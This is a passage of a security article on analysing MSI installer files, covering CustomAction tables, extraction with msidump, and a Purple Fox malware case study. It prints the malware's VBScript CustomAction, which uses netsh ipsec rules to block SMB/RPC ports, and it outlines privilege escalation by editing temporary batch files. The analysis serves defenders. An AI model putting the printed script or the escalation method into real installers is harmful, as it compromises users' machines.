INSTALL_DIRECTORY_PATH  __DEFAULT__
INSTALL_DIRECTORY_NAME  __DEFAULT__
TASKBAR_SHORTCUT    true
DESKTOP_SHORTCUT    true
START_MENU_SHORTCUT true
INSTALL_MAINTENANCE_SERVICE true
REMOVE_DISTRIBUTION_DIR true
PREVENT_REBOOT_REQUIRED false
OPTIONAL_EXTENSIONS true
REGISTER_DEFAULT_AGENT  true
EXTRACT_DIR __DEFAULT__
Manufacturer    Mozilla
ProductCode {1294A4C5-9977-480F-9497-C0EA1E630130}
ProductLanguage 0
ProductName Mozilla Firefox 106.0.2 x64 en-US
ProductVersion  106.0.2.0
UpgradeCode {3118AB4C-B433-4FBB-B9FA-8F9CA4B5C103}

Because of the many ways to execute actions using MSI files and because these actions are at least partially performed with elevated local privileges, there is a large amount of malware that uses such methods for for its distribution. In Red Team assessments, it is sometimes possible to abuse Windows Installer routines to gain elevated local privileges.

In both cases it is interesting to take a closer look at the CustomAction table. As the name suggests, it contains actions that are executed during the installation, for example using JScript or VBScript. This is often abused by malware hidden in MSI files, as we will see below. However, legitimate installation packages often contain commands in the CustomAction table, too.

Displaying the CustomActions in Orca

When using msidump, binary files and executables are extracted to the Binary and the _Streams folders:

$ ls _Streams/
Binary.WrappedExe  DigitalSignature   setup.cab  SummaryInformation

Taking a closer look at all this information, it is already possible to get a good idea of what is going on during the installation. For example, in a recent security assessment it was found that batch files were temporarily created in the file system and executed during the installation process. By editing these batch files, it was easy to achieve local privilege escalation to SYSTEM.

Malware in MSI Files

Malware is frequently introduced via MSI files. The following example shows a simple analysis of the Purple Fox malware.

The CustomAction table already contains potentially suspicious indicators:

$ cat CustomAction.idt

...
ExecuteScriptCode   3174        On Error Resume Next
Set vbs=CreateObject("Wscript.Shell")
vbs.Run "netsh interface ipv6 install",0,True
vbs.Run "netsh ipsec static add policy name=qianye",0,True
vbs.Run "netsh ipsec static add filterlist name=Filter1",0,True
vbs.Run "netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=TCP",0,True
vbs.Run "netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=TCP",0,True
vbs.Run "netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=TCP",0,True
vbs.Run "netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=UDP",0,True
vbs.Run "netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=UDP",0,True
vbs.Run "netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=UDP",0,True
vbs.Run "netsh ipsec static add filteraction name=FilteraAtion1 action=block",0,True
vbs.Run "netsh ipsec static add rule name=Rule1 policy=qianye filterlist=Filter1 filteraction=FilteraAtion1",0,True
vbs.Run "netsh ipsec static set policy name=qianye assign=y",0,True
...

The directory _Streams contains the file disk1.cab which can be extracted with 7z:

$ 7z x disk1.cab
$ ls
sysupdate.log  winupdate32.log  winupdate64.log

$ file *
sysupdate.log:   MGR bitmap, modern format, squeezed
winupdate32.log: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
winupdate64.log: PE32+ executable (DLL) (GUI) x86-64, for MS Windows

$ sha256sum winupdate32.log
937e0068356e42654c9ab76cc34cf74dfa4c17b29e9439ebaa15d587757b14b0  winupdate32.log

A quick search for the file hash on VirusTotal suggests that it is known malware.

Search on VirusTotal

There are many more ways how malware can be packed and distributed with MSI packages. MITRE ATT&CK has an overview of the technique called System Binary Proxy Execution”:https://attack.mitre.org/techniques/T1218/007/

Summary

Windows Installer is an integral part of Windows and is widely used as a standard method of managing software products in many organizations. An MSI installation file often contains executable code or scripts, but the details of the MSI file format are not publicly documented. Executable code in CustomActions is often used in legitimate installation processes, but it also provides an opportunity for wrongdoers to distribute malware in a more or less hidden way. Because parts of the installation process can be executed with the highest Windows privileges, attacks abusing the software installation process are attractive for adversaries. Protection against malicious MSI packages is not different from well-known security principles and precautions whereby only installing software from trustworthy sources and always using up-to-date versions should be of top priority.

About the Author

Tomaso Vasella has a Master in Organic Chemistry at ETH Zürich. He is working in the cybersecurity field since 1999 and worked as a consultant, engineer, auditor and business developer. (ORCID 0000-0002-0216-1268)

Links

  • https://attack.mitre.org/techniques/T1218/007/
  • https://bazaar.abuse.ch/sample/c6e5c169452d56d2f0733064c75b42d481210c387046324b40fb3f45b350bc59/
  • https://developer.microsoft.com/en-us/windows/downloads/windows-sdk/
  • https://gitlab.gnome.org/GNOME/msitools
  • https://learn.microsoft.com/en-us/windows/msix/overview
  • https://learn.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts
  • https://learn.microsoft.com/en-us/windows/win32/msi/command-line-options
  • https://learn.microsoft.com/en-us/windows/win32/msi/installer-database-reference
  • https://learn.microsoft.com/en-us/windows/win32/msi/machine-policies
  • https://learn.microsoft.com/en-us/windows/win32/msi/orca-exe
  • https://learn.microsoft.com/en-us/windows/win32/msi/return-values-of-jscript-and-vbscript-custom-actions
  • https://learn.microsoft.com/en-us/windows/win32/msi/user-policies
  • https://learn.microsoft.com/en-us/windows/win32/msi/windows-installer-portal
  • https://learn.microsoft.com/en-us/windows/win32/stg/structured-storage-start-page
  • https://www.mozilla.org/en-US/firefox/all/
  • https://www.virustotal.com/gui/file/937e0068356e42654c9ab76cc34cf74dfa4c17b29e9439ebaa15d587757b14b0

Понравилась статья? Поделить с друзьями:
0 0 голоса
Рейтинг статьи
Подписаться
Уведомить о
guest

0 комментариев
Старые
Новые Популярные
Межтекстовые Отзывы
Посмотреть все комментарии
  • Nokia lumia 2520 windows 10
  • Изменить период синхронизации времени в windows
  • Защитник windows в windows 10 перестал работать
  • Связь айфона с компьютером windows
  • Blue yeti драйвер windows 10